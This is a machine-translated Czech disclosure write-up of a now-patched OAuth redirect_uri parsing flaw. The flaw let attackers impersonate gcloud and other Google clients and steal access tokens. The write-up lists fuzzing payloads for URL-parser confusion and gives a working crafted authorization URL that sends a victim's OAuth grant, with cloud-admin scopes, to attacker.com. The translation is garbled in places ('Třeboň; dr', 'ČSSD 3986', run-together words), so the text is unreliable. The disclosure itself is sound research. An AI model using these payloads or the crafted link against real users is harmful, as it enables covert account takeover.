TL;DR
Třeboň; drTento článek prochází jedinečnou zranitelností převzetí účtu OAuth, kterou jsem nedávno zjistil, která ovlivňuje několik služeb Google.redirect_uri
Tato zranitelnost umožňuje útočníkům předstírat legitimní aplikace, jako je klient Google Cloud SDK, a únik tokenu přístupu na server ovládaný útočníkem, který umožňuje zpětný přístup k účtu oběti – s téměř nulovou viditelností pro oběť.
Note:První čtyři sekce pokrývají obecné zázemí OAuth, rizika úniku tokenů a zmatek při analýze adres URL.Section 5: Google Cloud Account Takeover Case.
1 Úvod
OAuth 2.0 umožňuje aplikacím třetích stran přístup k uživatelským datům bez zpracování hesel přímo tím, že autorizační server (např. Google) generuje token, který bude aplikací třetích stran použit k vyžádání uživatelských dat nebo k provádění akcí jejich jménem.
Jestliže všakredirect_uri
Tento parametr není validován chirurgickou přesností, útočníci se mohou předstírat, že jsou důvěryhodnými aplikacemi a podvádějí uživatele do úniku jejich přístupových tokenů.
V tomto článku budu procházet tím, jak mi jemná chyba v analýze URL umožnila udělat přesně to - přes více služeb Google - s hlubokým ponořením do případu Google Cloud.
Jak OAuth funguje
Zatímco OAuth je poměrně složitý protokol, který si zaslouží řadu článků, které mají být plně pochopeny, zde je zjednodušený přehled:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
Chcete-li věci vizualizovat, níže uvedený příliš zjednodušený diagram mi ukazuje přihlášení do médií pomocí mého účtu Google:
Note:V mnoha případech jsou autorizační server a zdrojový server stejné.
OAuth Token únik
Při pohledu na výše uvedený diagram je nejtěžší částí krok 5, kde autorizační server odesílá generovaný token zpět do klientské aplikace.redirect_uri
Chcete vědět, kam poslat token?
Pokud tento parametr není správně validován, může útočník předstírat, že klientská aplikace (např. Medium) a podvádí autorizační server, aby jim poslal token přístupu uživatele – i když z pohledu uživatele vše vypadá legitimně.
Typicky seredirect_uri
je do jisté míry validována – nemůžete jen hodit náhodnou adresu URL na autorizační server. Avšak metody validace se v různých implementacích liší v závislosti na obchodních potřebách a chyby v tomto procesu mohou být využitelné.
Některé společné vzorce:
- Přesné shodování: Přesné shodování řetězců s předem registrovaným URI.
- Wildcard nebo Path Prefix Matching: Povolení URI jako https://example.com/* nebo https://*.example.com.
- Loopbackové adresy: Společné v desktopových aplikacích, kde místní server zpracovává přesměrování.
URL Parsing zmatek
PodleČSSD 3986Standardní URL má následující strukturu:
scheme://username:password@host:port/path?query#fragment
Každá složka hraje určitou roli:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
Označuje se jakoauthority, username:password
Jsou označovány jakouserinfo
Na první pohled to vypadá jednoduše – ale mohou se vyskytnout jemné rozdíly v analýze, zejména při manipulaci s případy hranic.
Vývojáři mohou předpokládat, že adresa URL je analyzována konzistentním, standardizovaným způsobem ve všech knihovnách, nicméně rozsáhlý výzkum analyzátorů URL prokázal naprostý opak.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Níže je uveden příklad, kde se s jednou adresou URL zachází odlišně mezi třemi různými analyzátory
Zatímco tento článek se nebude hluboce ponořit do URL analýzy zmatkových útoků, jsou důkladně prozkoumány v papíru Black Hat z roku 2017.Nová éra SSRF – využití URL parseru v trendových programovacích jazycích
Případ převzetí účtu Google Cloud
Pokud jste někdy používali Google Cloud dříve, pravděpodobně jste narazili nagcloud
Nástroj CLI – výkonný nástroj příkazového řádku používaný pro správu zdrojů Google Cloud. Mezi dalšími funkcemi umožňuje uživatelům ověřovat pomocí svých účtů Google prostřednictvím procházení OAuth založeného na prohlížeči.
Zde je, jak to funguje:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Aby tento tok fungoval, společnost Google důvěřuje určitým URL adresám (např. http://localhost) pro nativní aplikace, protože jsou považovány za dostatečně bezpečné pro místní použití a jsou vnitřně bílé.
Identifikace útočného povrchu
Po zhlédnutí Alocalhost
Používá se jakoredirect_uri
Mým prvním záměrem bylo nahradit ho127.0.0.1
a[::1]
je to rozhodující krok, protože potvrzuje, že adresy URL jsou ve skutečnosti analyzovány a porovnávány interně, spíše než mít nějakou základní kontrolu, jako je:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Takže tady máme dvě důležité věci, které se dějí:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
To znamená, že máme dva URL analyzátory na místě, ten, který používá Google backend, a analyzátor používaný naším prohlížečem (Chrome v mém případě), takže pokud nejsou tyto dva analyzátory totožné, může být jakákoli nesoulad mezi nimi využit k úniku OAuth grant na server ovládaný útočníkem.
Cíl je nyní jasný, musíme vytvořit adresu URL, která se mezi oběma analyzátory analyzuje odlišně, takovým způsobem, že podvádíme backendový analyzátor Googlu, aby jej analyzoval jako adresu loopback, zatímco analyzátor Chrome ji analyzuje jako globální internetovou adresu.
Skutečnost, že máme velmi omezené znalosti o Google backend a jakou knihovnu interně používají k analýze adres URL, znamená, že máme jen přístup černé skříňky.
B. Fuzzing pro vítězství
To, co jsem udělal dál, bylo napsat skript Python, který by mutoval různé adresy URL aplikací různých kódovacích triků, alternativních poznámek a případů okrajů, abych zjistil, které z nich prošly ověřením backend společnosti Google, ale byly vykládány jinak Chrome, skript používá několik triků, jako jsou:
- Alternativní IP zastoupení: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Soukromé IP adresy: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Různé schémata: file://, ldap://, ftp://, javascript://, data://
- CRLF injekce: %0D%0A
- Hostitelské jméno/IP jako uživatelská informace: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- Velmi dlouhé adresy URL: http://AAAAAA...@127.0.0.1
- DNS přípony: 127.0.0.1.attacker.com
- Škodlivé adresy URL: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Injekce dotazu/fragmentu: Injekce extra ? , & nebo # před/po @
- DNS rebinding (vyzkoušené ručně)
Po spuštění scénáře na chvíli, a k mému překvapení, jeden z generovaných případů okrajů se podařilo spustit přesnou nesoulad jsem hledal, moje reakce byla jako:
Úspěšný edge případ byl:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
které lze dále zjednodušit na:
http://[::1]@[::1]@attacker.com/
Při pokusu o analýzu této URL pomocí prohlížeče Chrome získáme následující výsledek:
Zajímavá část ohttp://[::1]@[::1]@attacker.com/
To znamená, že je to malformovaný URL na začátek.@
Charakter je vyhrazen pro odděleníuserinfo
Z tohohostname
Chrome zmírňuje tento případ okraje kódováním všech nezabezpečených znaků, stejně jako dřívějších výskytů rezervovaných znaků a používá pouze nejnovější@
Zajišťuje to, že jakýkoliv@
Předtím, než je poslední z nich URL-kódován.
Naopak, na základě experimentálního testování s variacemi užitného zatížení se zdá, že Google backend parser správně nekódoval předchozí výskyty rezervovaných znaků a místo toho použil první výskyt@
jako rozdělovač. po rozdělení na@
S největší pravděpodobností si parťák vybraluserinfo
ahostname
z pevných pozic, zcela ignorovat sledováníattacker.com
.
Je třeba poznamenat, že toto chování bylo spuštěno výhradně při používání IPv6.http://127.0.0.1@127.0.0.1@attacker.com
Fungovalo to, jak se očekávalo, a zdůraznilo se, že nesoulad byl specifický pro IPv6 analýzu logiku.
C. dát to všechno dohromady
Nyní se náš útokový vektor stává jasným, můžeme předstíratgcloud
cli nástroj a podvádět uživatele, aby ověřil myšlenku, kterou ověřujegcloud
.
Útok se odehrává takto:
- Vytvořte škodlivou žádost o autorizaci OAuth a odešlete její odkaz (kódový blok níže) oběti
- Oběti je prezentován zcela legitimní tok ověřování OAuth pro klient Google Cloud SDK (obrázek 9).
- Oběť se přihlásí a souhlasí s uvedenými oprávněními (účely)
- Oběť je přesměrována na náš škodlivý hostitel, s jejich generovaným OAuth grantem
- Používáme grant OAuth k provádění volání API na účet oběti jejich jménem
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Níže je vizualizace navrhovaného útoku
Z pohledu uživatele by to vypadalo, jako by se autentizovali dogcloud
i pro autorizační server Google by to vypadalo, jako by se uživatel pokoušel ověřitgcloud
, takže efektivně podvádíme obě strany autentizace, aby si mysleli, že je to legitimní proces autentizace, zatímco konečný token přístupu je únik do našeho škodlivého hostitele.
Únik přístupového tokenu nám účinně poskytne neomezený přístup k účtu obětí, což nám umožní provádět i vysoce privilegované akce.
Co dělá tento útok ještě nebezpečnější je:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Jak již bylo uvedeno na začátku tohoto článku,gcloud
je jen jedna zranitelná aplikace, níže jsou některé další aplikace, které jsem zjistil, že jsou zranitelné také:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google reagoval rychle, uznal závažnost během 72 hodin a udělil odměnu vysoké závažnosti.
6. závěr
Tento výzkum zdůrazňuje, jak jemný rozdíl v analýze adres URL může zcela podkopat bezpečnost celého průtoku ověřování, který je opětovně používán v různých aplikacích a službách, a to i tehdy, když je implementován společností, která je tak zralá a vědomá bezpečnosti jako Google.
Ačkoli je OAuth vyspělým a dobře studovaným protokolem, jeho bezpečnost silně závisí na drobných detailech implementace, které se liší mezi platformami, knihovnami a prostředími.
Google tuto zranitelnost po zodpovědném zveřejnění opravil.
Díky za čtení!